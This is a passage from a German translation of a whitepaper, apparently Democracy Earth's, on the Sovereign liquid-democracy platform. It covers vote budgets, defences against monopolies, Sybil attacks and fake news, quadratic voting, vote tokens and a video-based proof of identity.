* <code>Mehrheit</code> Für eine Gewinnentscheidung ist ein Mindestprozentsatz erforderlich.
* [https://en.wikipedia.org/wiki/D%27Hondt_method <code>DHont</code>]: Weit verbreitet bei Wahlen von Nationalstaaten, die Basis sind Mitgliederlisten.
* [https://en.wikipedia.org/wiki/Webster/Sainte-Lagu%C3%AB_method <code>Webster/Sainte-Laguë</code>]: Weit verbreitete Alternative zu DHont auf Basis von Mitgliederlisten.
* [https://en.wikipedia.org/wiki/Schulze_method <code>Schulze</code>]: Ranked-Choice-Abstimmungen, werdem häufig von Open-Source-Communities und Piratenparteien verwendet.
* [http://ilpubs.stanford.edu:8090/422/1/1999-66.pdf <code>PageRank</code>]: Zählt Stimmen, die die Wählerreputation in einem Graphen gewichten.
====2.5.5 <code>Budget</code>====
Jede <code>Organisation</code> kann 1 oder mehrere Cryptocurrency-Adressen haben, um ihre Bemühungen zu finanzieren. Sovereign erlaubt es, eine <code>Organisation</code> mit Bitcoin zu finanzieren und in seiner <code>Satzung</code> ein Kriterium zu definieren, wie dieses Vermögen unter <code>Mitgliedern</code> verteilt wird:
* '''Prozentsatz für ''Proof of Identity''''': Antragstellende <code>Mitglieder</code> können ihren ''Proof of Identity''-Beweis einreichen, um die Genehmigung zur Mitgliedschaft bei einer <code>Organisation</code> zu erhalten. Wenn das ''Voting'' das neue Mitglied genehmigt, stärkt es die Reputation der eigenen Identität im offenen Netzwerk, indem es einen festen Betrag an Bitcoin erhält, um das Hashing des ''Proof of Identity'' auf einer Blockchain zu ermöglichen. Einige <code>Organisationen</code> können eine größere Belohnung zulassen als andere, wodurch effektiv ein Reputationswert geschaffen wird, der das Netzwerk vor ''Sybils'' oder falschen Identitäten schützen kann. Dieser Prozess wird auf [[#Executive|Abschnitt 3]] detailliert beschrieben.
* '''Prozentsatz für <code>Anliegen</code> (Issues)''': <code>Mitglieder</code>, die Ressourcen von der <code>Organisation</code> verwenden möchten, können diese anfordern, indem sie ein <code>Budget</code> an ein <code>Anliegen</code> anhängen. Ein <code>Mitglied</code> kann beantragen, Mittel aus einem speziell dafür reservierten Pool zu verwenden. Erreicht die Endsumme einer Entscheidung einen bestimmten Wert (<code>true</code> oder <code>false</code>), kann es die endgültige Entscheidung erzwingen, indem es Münzen (Coins) freigibt oder eine Transaktion auslöst, die die angeforderten Mittel an eine bestimmte Adresse schickt.
===2.6 Sicherheit.===
Mit Sovereign zielen wir darauf ab, ein leichtgewichtiges Governance-Framework bereitzustellen, das allen Beteiligten einer Organisation erlaubt, sich zu beteiligen und Entscheidungen durch den Einsatz von Kryptographie durchzusetzen. Es ist jedoch wichtig zu betonen, dass wir kein demokratisches System anstreben, das auf Pöbelherrschaft oder [https://en.wikipedia.org/wiki/Majoritarianism ''Majoritarismus''] basiert. Die Geschichte bietet genügend Beispiele dafür, wie eine blinde Mehrheit die Bestrebungen einer Republik zum Scheitern bringen kann und oft Demagogen an die Macht bringt.
[[File:/images/ideal-democracy.png|Ideal democracy.]]
Unser Hauptziel ist es, ein System zu liefern, das in der Lage ist, das größte Maß an Legitimität zu garantieren und gleichzeitig die kenntnisreichsten Stimmen in jeder Gemeinschaft zu ermächtigen. Der Unterschied zwischen Tatsache und Versprechen ist einfach: Während die Kunst der Politik darin besteht, die Fiktion aufrechtzuerhalten, die Vertrauen in etablierte Institutionen schafft (z. B. Politiker während des Wahlkampfs), liefert der kryptografische Beweis von Ereignissen eine zuverlässigere Methode für vertrauenswürdige Regierungsführung. Die unbestechliche Natur von Blockchain-Transaktionen bietet einen Anreiz für Menschen, nicht zu lügen, daher werden Organisationen die Stimmen und Entscheidungen darin speichern, von Fakten statt von Versprechen geleitet. Korruption kann an der Wurzel bekämpft werden, wenn wir ein neues Bürgerbewusstsein entwickeln, das auf digitalen Netzwerken basiert.
Dennoch können flexible Demokratien auf unterschiedliche Weise eingesetzt werden, wobei die Ergebnisse von den unbeabsichtigten Folgen zweier Dynamiken dominiert werden, die die extremen Enden des Partizipationsspektrums darstellen:
* '''Mangelnde Delegation''' führt zu einem ''Polyopol'': extreme Zersplitterung der Stimmkraft.
* '''Fülle von Delegationen''', die zu einem ''Monopol'' führen: extreme Konzentration der Stimmkraft.
Jedes Ergebnis wirkt sich auf eine der beiden Achsen aus, die die Qualität der demokratischen Regierungsführung messen. Die Anreize in der politischen Ökonomie der "votes" sind darauf ausgelegt, ein stabiles Gleichgewicht zu halten, das darauf abzielt, das höchste Maß an Legitimität und faktenbasierter Entscheidungsfindung zu gewährleisten.
Um eine vertrauenswürdige Umgebung für dezentralisierte Verwaltung unter großen Gemeinschaften (Städte, Nationen oder im globalen Maßstab) zu werden, muss Sovereign gegen verschiedene Arten von Angreifern geschützt werden: ''Mobs'', ''Großkonzerne'', ''Sybils'', ''Fakes'' und ''Big Brother''.
====2.6.1 Polyopoly.====
<blockquote>
a.k.a. ''Mobs''
</blockquote>
Zu den bemerkenswertesten Forschungsprojekten in diesem Bereich gehört [http://www.tdcommons.org/cgi/viewcontent.cgi?article=1092&context=dpubs_series Google Votes]. Dabei handelte es sich um eine interne Implementierung für Google-Mitarbeiter unter der Leitung des Ingenieurs Steve Hardt, bei der er ein Liquid-Democracy-Plug-in für die interne Version von Google+ entwickelte. Das Projekt hatte die folgenden Zahlen in Bezug auf die Auswirkungen:
* 15,000 Teilnehmer.
* 371 Entscheidungen.
* '''3,6 % der delegierten Stimmen''' insgesamt.
Der geringe Prozentsatz an Delegationen bedeutet, dass Google Votes eher wie eine direkte Demokratie als eine flexible Demokratie funktionierte. Delegationen traten vor allem unter denjenigen Nutzern auf, die sich aktiv dafür einsetzten (z.B. Veganer in einem Team, die hofften, Macht zu erlangen, um Büro-Snacks zu wählen). Das Risiko von wenigen Delegationen ist, dass es die Demokratie für die bekannten Risiken der Pöbelherrschaft öffnet. Obwohl dies die Legitimität hoch halten könnte, wird die Qualität der Entscheidungen, die von einer Organisation getroffen werden, eher politisch als sachlich. Sachkundige Stimmen, die in der Lage sind, spezifische Probleme innerhalb einer Gemeinschaft anzusprechen, werden entmachtet.
Um die Delegationshäufigkeit zu erhöhen, geschieht dies jedes Mal, wenn die Selbstsouveränität validiert wird. Beim "Proof of Identity"-Prozess (siehe Abschnitt 3) können Benutzer nativ ihre eigenen "Stimmen" erzeugen, solange ihre Individualität von anderen Identitäten bestätigt wird. Da der "Vote"-Token in einer Blockchain arbeitet, müssen Delegationen nicht unbedingt innerhalb der Sovereign-Anwendung stattfinden: Messaging-Anwendungen, Tweets und E-Mails können mit angehängten Vote-Adressen oder QR-Codes versendet werden, wodurch der Vote-Token über mehrere Netzwerke verbreitet werden kann.
====2.6.2 Monopole .====
<blockquote>
a.k.a. ''Corporations / Unternehmen / Großkonzerne ''
</blockquote>
Als die deutsche Piratenpartei [https://en.wikipedia.org/wiki/LiquidFeedback Liquid Feedback], eine bahnbrechende Liquid-Democracy-Software, die 2009 entwickelt wurde, implementierte, erreichte sie eine Beteiligung von ~550 Mitgliedern, was dazu führte, dass [http://www.spiegel.de/international/germany/liquid-democracy-web-platform-makes-professor-most-powerful-pirate-a-818683.html ein Linguistikprofessor zum einflussreichsten Mitglied der Partei wurde]. Martin Haase war dafür verantwortlich, alle hochgeladenen Vorschläge im System in eine neutrale Sprache zu übersetzen, um jegliche ideologische Voreingenommenheit zu vermeiden, wodurch er 167 Delegationen von anderen Mitgliedern erfassen konnte.
Die Folgen eines monopolisierenden Anführers in einer Liquid Democracy-Umgebung widersprechen dem Geist eines Ökosystems, das Anreize für mehr Beteiligung schaffen soll. In liquiden Demokratien können "Prominente" extrem einflussreich werden, da sie in der Lage sind, den Großteil der delegierten Stimmen auf sich zu ziehen. Ein Angreifer, der eine Wahl unterwandern will, kann einen TV-Star mit einem QR-Code bewerben, um einen plötzlichen Zustrom von Delegationen von Fans und Zuschauern zu erhalten, und so sofort zu einer monopolisierenden Kraft werden. Monopole sind eine Bedrohung für liquide Demokratien, da sie weniger begünstigte Wähler von der Teilnahme abhalten können und die Legitimität der getroffenen Entscheidungen untergraben.
=====2.6.2.1. Quadratische Abstimmungen.=====
Eine wichtige Einstellung eines liquiden Demokratiesystems ist es, [http://ericposner.com/quadratic-voting/ quadratische Abstimmung] zu ermöglichen. Bei der quadratischen Abstimmung steigt die Anzahl der ausgegebenen Stimmen quadratisch mit der Anzahl der erhaltenen Stimmen. Das heißt, wenn Alice möchte, dass ein Vorschlag eine Stimme erhält, kann sie eine Stimme für diese Frage ausgeben. Wenn sie aber möchte, dass der Vorschlag zwei Stimmen erhält (d. h. zweimal abstimmen), kostet sie das vier Stimmen. Um einem einzigen Vorschlag 100 Stimmen zu geben, d. h. 100 Mal abzustimmen, muss sie 10.000 Stimmen ausgeben (100 x 100).
Die quadratische Wahl funktioniert, um Monopolmacht zu vermeiden, indem der Grenznutzen zusätzlicher Stimmen verringert wird. Ein Prominenter, der 1.000.000 delegierte Stimmen sammelt, erhält nur eine Entscheidungsmacht, die 1.000 Stimmen entspricht, wenn sie auf ein einzelnes Thema angewendet wird. Einzelpersonen werden daher davon abgehalten, Stimmen an jemanden zu delegieren der bereits eine signifikante Anzahl von Stimmen erhalten hat. Wenn Alice 100 Stimmen hat wären sie 10 Stimmen wert, wenn Alice sie alle selbst einsetzt, um direkt über einen Vorschlag abzustimmen (10 x 10 = 100). Aber wenn Alice ihre 100 Stimmen an Bob delegiert, der bereits 2.500 Stimmen hat, dann sind diese 100 Stimmen von Alice nur etwa 1 Stimme wert, wenn sie von Bob für eine einzelne Frage verwendet werden (weil Bob von der Möglichkeit, 50 Mal über eine einzelne Frage abzustimmen, zu der Möglichkeit übergehen würde, 51 Mal abzustimmen).
Wenn einige Organisationen eine eher vertikale Befehlskette wünschen (z. B. Unternehmen), kann die quadratische Abstimmung im "konstitutionellen Smart Contract" einer Sovereign-Implementierung immer noch deaktiviert werden.
====2.6.3 Sybil Attack.====
<blockquote>
a.k.a. ''Identitätsdiebstahl''
</blockquote>
Wer die Möglichkeit hat, das Wählerverzeichnis einer bestimmten Wahl zu kontrollieren, kann das Endergebnis direkt beeinflussen. Ein klassisches Beispiel ist die Registrierung von nicht mehr existierenden Mitgliedern der Gesellschaft als Wähler bei einer Wahl. In dezentralen Netzwerken wird dies üblicherweise als [https://en.wikipedia.org/wiki/Sybil_attack Sybil-Attacke] bezeichnet (ein Name, der einem gleichnamigen [https://en.wikipedia.org/wiki/Sybil_(Schreiber_buch) 1973 Buch] entnommen ist, das später in einen [https://en.wikipedia.org/wiki/Sybil_(1976_film) Film] verwandelt wurde, basierend auf einer Figur, die unter einem multiplen Persönlichkeitssyndrom leidet). Sybil-Knoten sind solche, die sich als unabhängige Akteure im Netzwerk ausgeben, während sie alle unter der Kontrolle eines einzigen Betreibers stehen. In dezentralen Umgebungen sind Sybil-Angriffe die häufigste Bedrohung, und aus diesem Grund halten wir es für unabdingbar, dass ''votes'' durch ein (soziales und algorithmisches) Protokoll validiert werden müssen, das als ''Identitätsnachweis'' funktioniert.
====2.6.4 Fake news.====
<blockquote>
a.k.a. ''Gossip / Klatsch und Tratsch''
</blockquote>
Es ist kein Zufall, dass das Schlachtfeld moderner Demokratien in den Medien umkämpft ist. Nachrichtenorganisationen haben eine nie dagewesene Fähigkeit, die Wahrnehmung der Wähler zu formen. In verschiedenen Rechtsordnungen weltweit führen Regierungen einen internen Krieg zwischen dem Staat und dem größten lokalen Medienkonglomerat. Dies ist das Drehbuch hinter Donald Trump und seinem Kampf gegen das Tandem CNN & New York Times; oder der Grund, warum Wladimir Putin erhebliche Ressourcen in die Gründung von Russia Today investierte, um eine Möglichkeit zu haben, alternative Fakten zu präsentieren. Die Kontrolle über die Botschaft ist tendenziell wichtiger als die Wahrheit selbst. Freie Medien und unabhängiger Journalismus sind eine Grundvoraussetzung für stabile Demokratien. Aber wenn der Nachweis von institutionellen Fakten schwer zu erbringen ist, ist der Spielraum für Manipulationen größer als der Spielraum für die Wahrheit selbst. Traditionelle Institutionen sind geheimnisvoll und intransparent, selbst wenn es sich um öffentliche Ämter handelt. Blockchains ermöglichen eine Art der Speicherung von institutionellen Fakten, die Transparenz in Organisationen garantiert. In diesem Sinne können ''Fake News'' mit einem neuen institutionellen Modell bekämpft werden, das in der Lage ist, ''Hard Promises'' zu speichern.
=====2.6.4.1 Hard Promises=====
Unternehmen und öffentliche Einrichtungen sind anfällig für Korruption, weil Entscheidungen oft im Geheimen hinter verschlossenen Türen getroffen werden, während die Rechenschaftslegung im Laufe der Zeit erfolgt. Effektiv betreiben Organisationen "Entscheidungswäscherei", indem sie die Rechenschaftspflicht von den Entscheidungen abkoppeln. Das Fehlen einer unbestechlichen Zeitleiste, die finanzielle und politische Entscheidungen speichert, ermöglicht diese Unberechenbarkeit. Der [https://en.wikipedia.org/wiki/Leviathan_(Buch) ''Leviathan''-Staat] ist eine ineffiziente Maschine: Obwohl er sich mit Gewalt als souveräner Herrscher für eine beliebige Bevölkerung proklamiert, kann derjenige, der seine Bürokratie leitet, immer noch korrumpiert werden und das ganze Kartenhaus zum Einsturz bringen. Diese Distanz zwischen Fakt und Buchhaltung ist die Quelle des Klatsches.
Die Bausteine von Institutionen bestehen aus Fakten, die Vereinbarungen definieren. Aber die Art von Fakten, die Vereinbarungen enthalten, sind von einer sehr spezifischen Art: Institutionen werden nicht mit objektiven Fakten aufgebaut, die wissenschaftlich, messbar und unabhängig von menschlichem Urteilsvermögen sind, sondern mit intersubjektiven Fakten, die die soziale Welt innerhalb einer Gemeinschaft aufbauen, die die Beziehungen von Eigentum und Rechten festlegen. Zum Beispiel ist die Vorstellung, dass jede rote Dose Limonade der Coca Cola Corporation gehört, nicht objektiv, sondern eine intersubjektive Tatsache, auf die sich alle Mitglieder der Gesellschaft geeinigt haben, indem sie die geistigen Eigentumsrechte anerkennen, die ein Unternehmen an seinem Produkt hat. Auf diese Weise hilft die institutionelle Realität bei der Skalierung wirtschaftlicher Beziehungen und reduziert die Informationen, die Organisationen für ihre Geschäfte benötigen.
Die Bürokratien, die diese Vereinbarungen schützen, sind auf Versprechungen angewiesen, d.h. "alles Geld, das in den Banken liegt, wird morgen noch da sein". Aber wie [https://twitter.com/aantonop/ Andreas Antonopoulos] feststellt: "Wir sind an Systeme mit weichen Versprechen und reversiblen Transaktionen gewöhnt." Wenn die Regierung (oder irgendeine andere Art von zentraler Autorität) private Gelder, die in einer Bank gelagert sind, konfiszieren wollte, kann sie niemand daran hindern, dieses Versprechen zu brechen. Dies war die Erfahrung der griechischen, argentinischen, venezolanischen oder puertoricanischen Bürger mit ihren eigenen säumigen Regierungen im letzten Jahrzehnt. Blockchain-basierte Organisationen hingegen bieten eine Alternative der "harten Versprechen": Vereinbarungen, die in Smart Contracts gespeichert sind, die streng durch Kryptographie geschützt sind und die kein einzelner Dritter korrumpieren kann. Anstatt menschliches Verhalten im Nachhinein zu regulieren, wie es staatliche Gesetze tun, garantieren Blockchains standardmäßig Transparenz und schaffen so Anreize für ehrliches Verhalten, da jedem Teilnehmer bewusst ist, dass institutionelle Ereignisse für eine offene Überprüfung zur Verfügung stehen.
====2.6.5 Squatting.====
<blockquote>
a.k.a. ''Big brother''
</blockquote>
Eine liquide Demokratie arbeitet domänenübergreifend. Das Einrichten einer <code>Organisation</code> innerhalb eines Netzwerks von delegierbaren ''votes'' ist analog zum Aufsetzen eines Servers im Web. Domain Squatting ist die Praxis, verlassene oder ungenutzte Webadressen in der Erwartung eines Gewinns zu besetzen. Dies hat zu einem milliardenschweren Markt geführt, auf dem die meistgenutzten Wörter (Bezeichner) die beste Art von digitalen Immobilien darstellen, z. B. [http://sex.com Sex.com] [https://en.wikipedia.org/wiki/Sex.com#Highest_price_paid_for_domain ist die höchstbezahlte Domain].
Im großen Maßstab wächst das Spiel der Liquid Democracy schließlich um die <code>Tags</code>, die zur Beschreibung von Delegationen und Themen verwendet werden. In einem geschlossenen System verweisen die am häufigsten verwendeten <code>Tags</code> auf ein reduziertes Universum relevanter Wähler, die die mit ihnen verbundenen Delegationen anführen. Eine reduzierte Wählerbeteiligung erhöht die Vorhersagefähigkeit einer Demokratie und reduziert die Momente, die sich für kollektive Entscheidungen öffnen. Die Demokratie gedeiht, solange die Beteiligung gefördert wird. Um diese Ausbeutung zu verhindern, müssen finanzielle und politische Interessen in Einklang gebracht werden. ''Tag Squatting'' kann verhindert werden, wenn die Taxonomie, die verwendet wird, um liquide Delegationen und Themenbeschreibungen zu erstellen, in einem offenen Netzwerk funktioniert: <code>Tags</code> verweisen auf <code>Organisationen</code>, die unter einem dezentralen Domain-Namen-System registriert sind, da jede <code>Organisation</code> einen Domain-Namen benötigt. Die Blockchain von [Blockstack.org Blockstack] ist auf dezentrale Domainnamen spezialisiert und verwaltet derzeit über 70.000 DIDs (Dentralized IDs). Diese werden über einen ''Proof of Burn''-Prozess erhalten, bei dem Benutzer Bitcoin im Austausch für Blockstack-Tokens verbrauchen, die die Registrierung eines neuen Namensraums ermöglichen.
Worte definieren politische Ideen. Die soziale Erzählung, die durch die Kunst der Politik aufgebaut wird, besteht aus der Entscheidung über die semantische Absicht. Macht definiert die theatralischen Eindrücke, die sich unserem Gedächtnis jedes Mal einprägen, wenn wir "links", "rechts", "frei" oder "gleich" sagen. Sprache ist ein vererbter Code, der menschliche Zusammenarbeit in großem Maßstab ermöglicht, und ihre Vorzüge können nicht geleugnet werden.
----
All diese Strategien greifen den Kern dessen an, wie sich eine dezentrale Organisation institutionalisiert. Mit anderen Worten: Definieren Sie die Risiken, wie Democracy Earth seinen Mitgliedern auf der Blockchain als dezentrale Organisation ''votes'' zuteilt. Aus diesem Grund beschreiben wir in [[#Ausführung|Abschnitt 3]] einen Rollout-Plan für ''votes'', der starke Abwehrmechanismen gegen diese Art von Angriffen aufbaut und den Weg für eine globale Demokratie ebnet.
<div id="Execution"></div>
==3. Ausführung.==
[[File:/images/humans.png|Der Mensch auf der Erde.]]
Eine drängende Tatsache, die den Kern dessen trifft, was hinter den politischen und wirtschaftlichen Herausforderungen des 21. Jahrhunderts steht, ist das steigende Bevölkerungswachstum: [https://esa.un.org/unpd/wpp/ Die Vereinten Nationen schätzen, dass die Welt bis zum Jahr 2100 die Zahl von 10.000.000.000 Sapiens überschreiten wird]. Mit anderen Worten: Die Tragfähigkeit des Planeten [https://en.wikipedia.org/wiki/Carrying_capacity] wird bis zum Ende dieses Jahrhunderts erreicht sein.
Hinweise auf die Risiken der Ressourcenverknappung finden sich im kulturellen Erbe von Inseln (wie in [https://en.wikipedia.org/wiki/Collapse:_How_Societies_Choose_to_Fail_or_Succeed Jared Diamond's Collapse] diskutiert. Ein weit entferntes Land wie [https://en.wikipedia.org/wiki/History_of_Easter_Island Osterinsel] war während des größten Teils seiner Geschichte ein geschlossenes System, dem jeglicher Kontakt mit dem Rest der Welt fehlte. Seine Bevölkerung hatte keine anderen Mittel zum Überleben als die eigenen Ressourcen und war ständig den Gefahren von Hungersnöten, Epidemien und Bürgerkriegen ausgesetzt. Auch wenn diese Bedrohungen unter einer globalisierten Wirtschaft weit weg zu sein scheinen, ist der plötzliche Anstieg der menschlichen Bevölkerung während des letzten Jahrhunderts die treibende Kraft hinter dem steigenden CO<sub>2</sub>-Gehalt in der Atmosphäre und dem Zusammenbruch der öffentlichen Infrastruktur, die nicht in der Lage ist, die massiven Migrationen zu bewältigen. Die Flüchtlinge fliehen vor Kriegen, in denen es um die Sicherung von Energieressourcen für eine Zukunft geht, die mit der Beschleunigung der technologischen Innovation auf uns zukommt. Obwohl einige wie [http://www.spacex.com/ SpaceX] bereits Fluchtpläne in die Tat umgesetzt haben, einschließlich privater Bemühungen, in den kommenden Jahrzehnten den Mars zu erreichen (ähnlich der biblischen Geschichte von der Arche Noah), muss der dringende Ruf, die Menschheit als Ganzes zu schützen, sowohl verstärkt als auch beantwortet werden.
Die Verteilung von Chancen und intelligente Zusammenarbeit auf der ganzen Welt kann nur dann friedlich erreicht werden, wenn jede Stimme gehört wird, ohne Ausnahmen. Global Governance ist der nächste logische Schritt in einer Welt, die bereits über das Internet verbunden ist. Blockchains führen zu der Möglichkeit einer liquiden Governance, die die Grundlagen für eine Demokratie der Gleichen schafft. Die Erlaubnis etablierter Nationalstaaten ist nicht erforderlich: Bürger überall auf der Welt können diesen Wandel mit Hilfe souveräner Netzwerke mitgestalten.
===3.1 Rechte vs. Schulden.===
<blockquote>
"Was ist Gerechtigkeit?", fragte der Philosoph.
"Zahlen Sie Ihre Schulden und lügen Sie nicht", antwortete Kefalos (Kapital), ein reicher Waffenhersteller.
</blockquote>
'''Plato''', ''Republic''. Philosopher (428-348 BC).
Obwohl Politik und Wirtschaft oft als unterschiedliche Bereiche wahrgenommen werden, lehrt die Geschichte, dass Geld Macht bedeutet und Macht Stimmen bedeutet. Um die Demokratie effektiv zu fördern, ist es unerlässlich, beides anzusprechen.
Die Assoziation von Schulden, Moral und Kriegen bleibt an der Wurzel der ökonomischen Denkmodelle der Gesellschaft. Münzen wurden zuerst von den großen Imperien geschaffen, um Kriege zu finanzieren, indem sie den Kauf von Proviant für Soldaten in fernen Regionen ermöglichten und sie für den Sieg belohnten. Soldaten konnten Silber und Gold aus eroberten Städten plündern und anschließend eintauschen, da die Kaiser Münzen mit den Edelmetallen prägten, um Märkte zu schaffen. Schließlich verlangten die Imperien auch einen Teil dieser Münzen als Steuer zurück, die für den Unterhalt der Armee bestimmt war. Das moralische Narrativ war, dass die Bürger dem Kaiser für ihre Sicherheit, für ihr Leben, "verschuldet" waren. Schulden entwickelten sich, um jede Form von Zwang zu rechtfertigen, der die Machthierarchien in Ländern überall aufrechterhält. Der Mangel an Liquidität ist das greifbarste und unmittelbarste Hindernis für die Freiheit, unter dem sich die Mehrheit der Menschheit befindet.
Der Token "vote" wird als "Recht" verteilt, das sich gegen die historische Assoziation von "Schuld" und Moral wendet und einen neuen Nährboden für Transaktionen schafft, die nicht auf der Möglichkeit von Zwang basieren. Es zielt darauf ab, Gleichwertigkeit in die transagierenden Einheiten zu bringen und Gleichgewicht und Fairness als neuen moralischen Standard wiederherzustellen. Die Kernmotivation von Democracy Earth ist die Ermöglichung von Freiheit und persönlicher Souveränität, eine Möglichkeit, die nur erreicht werden kann, wenn Individuen in der Lage sind, "Nein" zu sagen und eine alternative Ordnung ungezwungen und frei zu wählen. Dies kann nicht durch induzierte Knappheit erreicht werden, wie sie oft in den meisten Krypto-Assets zu finden ist, sondern vielmehr durch einen garantierten Zugang zu "votes" für jedes Mitglied der Gesellschaft, wodurch Regierungsrechte zu einem liquiden Instrument werden.
Aus diesem Grund wird [http://democracy.earth Democracy Earth Foundation] ein ''Initial Rights Offering'' von ''Vote''-Token generieren, um jeden auf der Erde im Rahmen eines Prozesses zwei Mechanismen anzubieten: Krypto-Finanzierung für jeden der bereit ist Ressourcen bereitzustellen, die die Entwicklung einer globalen Demokratie mit dem ''Vote''-Token stärken; und ein Rechte-Mechanismus als nativer Weg, um ''Vote''-Token von jedem zu erhalten der in der Lage ist sein Recht auf einen entsprechenden Anteil an ''votes'' durch einen ''Proof of Identity''-Prozess zu beweisen.
====3.1.1 Initiales Angebot von Rechten.====
Identität ist die Grundlage für persönliche Souveränität und der Kern aller Wahlsysteme. Abstimmungen (in jedem System) sind nur dann gültig, wenn die Zugehörigkeit zu einer Organisation verifiziert ist, denn keine Demokratie kann mit korrupten Identitäten funktionieren. Die heutigen Standard-Identitätssysteme basieren auf zentralen Behörden, die die Benutzer zwingen, private Informationen weiterzugeben, und riskieren damit Identitätsdiebstahl, wenn sie gehackt werden. Beispiele dafür sind [https://gov.uk United Kingdom's Gov.UK] und [https://uidai.gov.in/ India's Aadhaar], die beide von Berichten über unsachgemäße Sicherheitspraktiken und Lecks geplagt wurden, was die Privatsphäre von Millionen von Menschen gefährdet.
Damit Identitäten selbstsouverän sind, können sie nicht im Besitz von Regierungen, Organisationen oder Unternehmen sein oder von diesen kontrolliert werden, die letztlich vorrangig die Ausbeutung ihrer Benutzer zum Ziel haben. Unser Ansatz mit [http://sovereign.software Sovereign] ist, dass es als Technologie organisationszentriert ist, aber eine Organisation kann dezentralisiert werden, wenn ihr Identitätsüberprüfungsprozess keine Autorität benötigt. Letztendlich ist jeder Prozess, der von einer dezentralen Identität abhängt, Teil einer globalen Allmende, da das Prinzip einer selbstsouveränen Identität jeden "Big Brother" irrelevant macht. Daher ist der Schlüssel zur Aufrechterhaltung des Wertes des Tokens "vote" als Mittel für eine grenzenlose Demokratie die effektive Validierung aller teilnehmenden Identitäten durch einen dezentralen Prozess, der Schlüssel erstellen, aktualisieren oder widerrufen kann. Auf diese Weise wird die Democracy Earth Foundation den Zugang zu ''votes'' als Menschenrecht gewähren.
[[File:/images/identity-blockchain.png|Self-sovereign Identity.]]
Jeder der in der Lage ist seine eigene Identität im Rahmen eines dezentralen Protokolls nachzuweisen, was als ''Proof of Identity'' (POI) bezeichnet wird, kann mit einem entsprechenden Anteil an ''votes'' operieren. Dieser Mechanismus löst im Laufe der Zeit eine Zuteilung in der beanspruchten öffentlichen Adresse der Identität aus, die über eine selbst gehostete Wallet zugänglich ist, die mit den für den POI verwendeten Inhalten und Daten verbunden ist. Wenn genügend "votes" die für den "Proof of Identity" verwendeten Beweise validieren, wird die Wallet eine entsprechende Menge an "votes" freigeben, und zwar nach den Regeln eines dynamischen "Universellen Grundeinkommens", das Token über die Zeit zuteilt, wobei die Bitcoin- oder Ethereum-Blockchain als universelle Uhr verwendet wird (wobei jeder Block einen Zeitstempel hat und die Zeitdifferenz zwischen den Blöcken so gestaltet ist, dass ein durchschnittliches Intervall angestrebt wird).
===3.2 Identitätsnachweis.===
Eine selbstsouveräne Identität muss von einem Benutzer, der sie beansprucht, freiwillig erzeugt werden. Zu diesem Zweck muss der Benutzer einen Beweis seiner Identität senden, der strikt ein Kriterium erfüllt, das durch menschliches Urteilsvermögen erfüllt werden kann und in der Lage ist, eine künstliche Intelligenz davon abzuhalten, sich in den Prozess einzumischen. Daher muss der Beweis in einem Format vorliegen, das eine große Menge an zerebraler Bandbreite erfordert: Video. Ein zufriedenstellender Beweis muss alle diese Eigenschaften erfüllen:
* '''Unbestechlich''': Die Videodatei muss gegen jegliche Veränderungen geschützt werden, sobald sie als Quelle für den Proof verwendet wurde.
* '''Singular''': Der Nachweis muss eine einzige Identität validieren, ohne doppelte Teilnehmer im Netzwerk zuzulassen (''Replikanten'').
* '''Seriös''': Jede <code>Organisation</code>, die einen POI validiert, verbindet ihre Reputation mit der nachgewiesenen Identität durch ihre Signatur.
Auch wenn jedes digitale Governance-System von dem Vertrauen profitieren kann, das bereits in bestehenden Netzwerken vorhanden ist, die Identitäten validieren (z. B. Nationalstaaten), dient ein dezentrales Protokoll zur Validierung von Identitäten dem politischen Zweck der persönlichen Souveränität. Die Vorteile dieser öffentlichen Aufzeichnung in einer vernetzten Allmende können schließlich von Regierungen oder privaten Organisationen auf verschiedene Weise genutzt werden (z.B. zur Verifizierung von Alter oder Nationalität). Hier schlagen wir eine neue Methode zur Validierung von Identitäten vor, ohne dass ein einziger "Big Brother" benötigt wird.
Ein ''Proof of Identity'' läuft nach einer bestimmten Zeit ab, um Sybil-Angriffe zu verhindern und sicherzustellen, dass nur lebende Benutzer am Netzwerk teilnehmen. Um die Gültigkeit des öffentlich-privaten Schlüsselpaares aufrechtzuerhalten, schlagen wir vor, dass ein Zeitraum von 1 Jahr ausreicht, um einen neuen Nachweis zu erzeugen, der den vorherigen aktualisiert. Genauso wie physische Identitäten durch den Vergleich von Bild und Person überprüft werden, müssen Benutzer ihren ''Proof of Identity'' neu erstellen und zur Überprüfung senden, um ihre Legitimität zu bestätigen. Dieser Jahreszeitraum kann umgangssprachlich als ''Blockgeburt'' eines Individuums bezeichnet werden und, falls gewünscht, jährlich gefeiert werden, so wie Nationen ihren Unabhängigkeitstag feiern. Da Neugeborene unter dieser globalen Gerichtsbarkeit registriert werden, werden ''Blockbirths'' mit den Geburtsdaten synchronisiert und können auch das Alter unbestechlich bezeugen, was die Arbeit der Authentifizierer mit der Zeit reduziert.
====3.2.1 Demo.====
[[File:/images/roma-siri-blockchain-baby.png|Die Blockchain-Geburtsurkunde von Roma Siri.]]
Es gibt einen Präzedenzfall, der hilft zu illustrieren, wie ein "Identitätsnachweis" funktioniert. [https://youtu.be/Irc-VMuUs3c?t=55m20s Laut dem NYU-Professor David Yermack] wurde die neugeborene Roma Siri am 7. November 2015 das erste Baby mit einer Blockchain-gültigen Geburtsurkunde. Der Prozess, auch wenn er zu der Zeit nur symbolisch war, bestand aus [https://www.dropbox.com/s/tsi4xo4k6j1jsa6/Blockchain%20Birth%20Certificate%20of%20Roma%20Siri%20-%20Daughter%20of%20Santiago%20Siri%20%28father%29%20and%20Pia%20Mancini%20%28mother%29.MOV?dl=0 einem Video, das das Baby Roma zeigt, das seine Lebenszeichen beschreibt und Zeugen seiner Geburt enthält]. Sobald das Video gefilmt war, wurde ein kryptographischer Hash der digitalen Datei generiert und in eine Bitcoin-Transaktion verschlüsselt. Das bedeutet, dass unabhängig davon, wo das Video gespeichert ist, die permanente Aufzeichnung seines Hashes auf der Bitcoin-Blockchain verifizieren kann, dass die Daten der Datei nicht beschädigt wurden und dass sie zum Zeitpunkt der Erstellung des Beweises existierten. Mit diesem unbestechlichen Beweis wurde Roma ein Blockchain-zertifizierter Weltbürger.
Diese Demo dient als Beispiel für die Schritte, die für einen dezentralen ''Proof of Identity'' befolgt werden müssen:
# '''Filmbeweis''' mit jedem verfügbaren Smartphone oder jeder Kamera.
# '''Hash-Proof''' auf einer Blockchain, um die Unbestechlichkeit von Beweisen zu garantieren.
# '''Beweise validieren''' durch einen Abstimmungsprozess unter Gleichgesinnten ('''Attention Mining'').
====3.2.2 Videobeweis.====
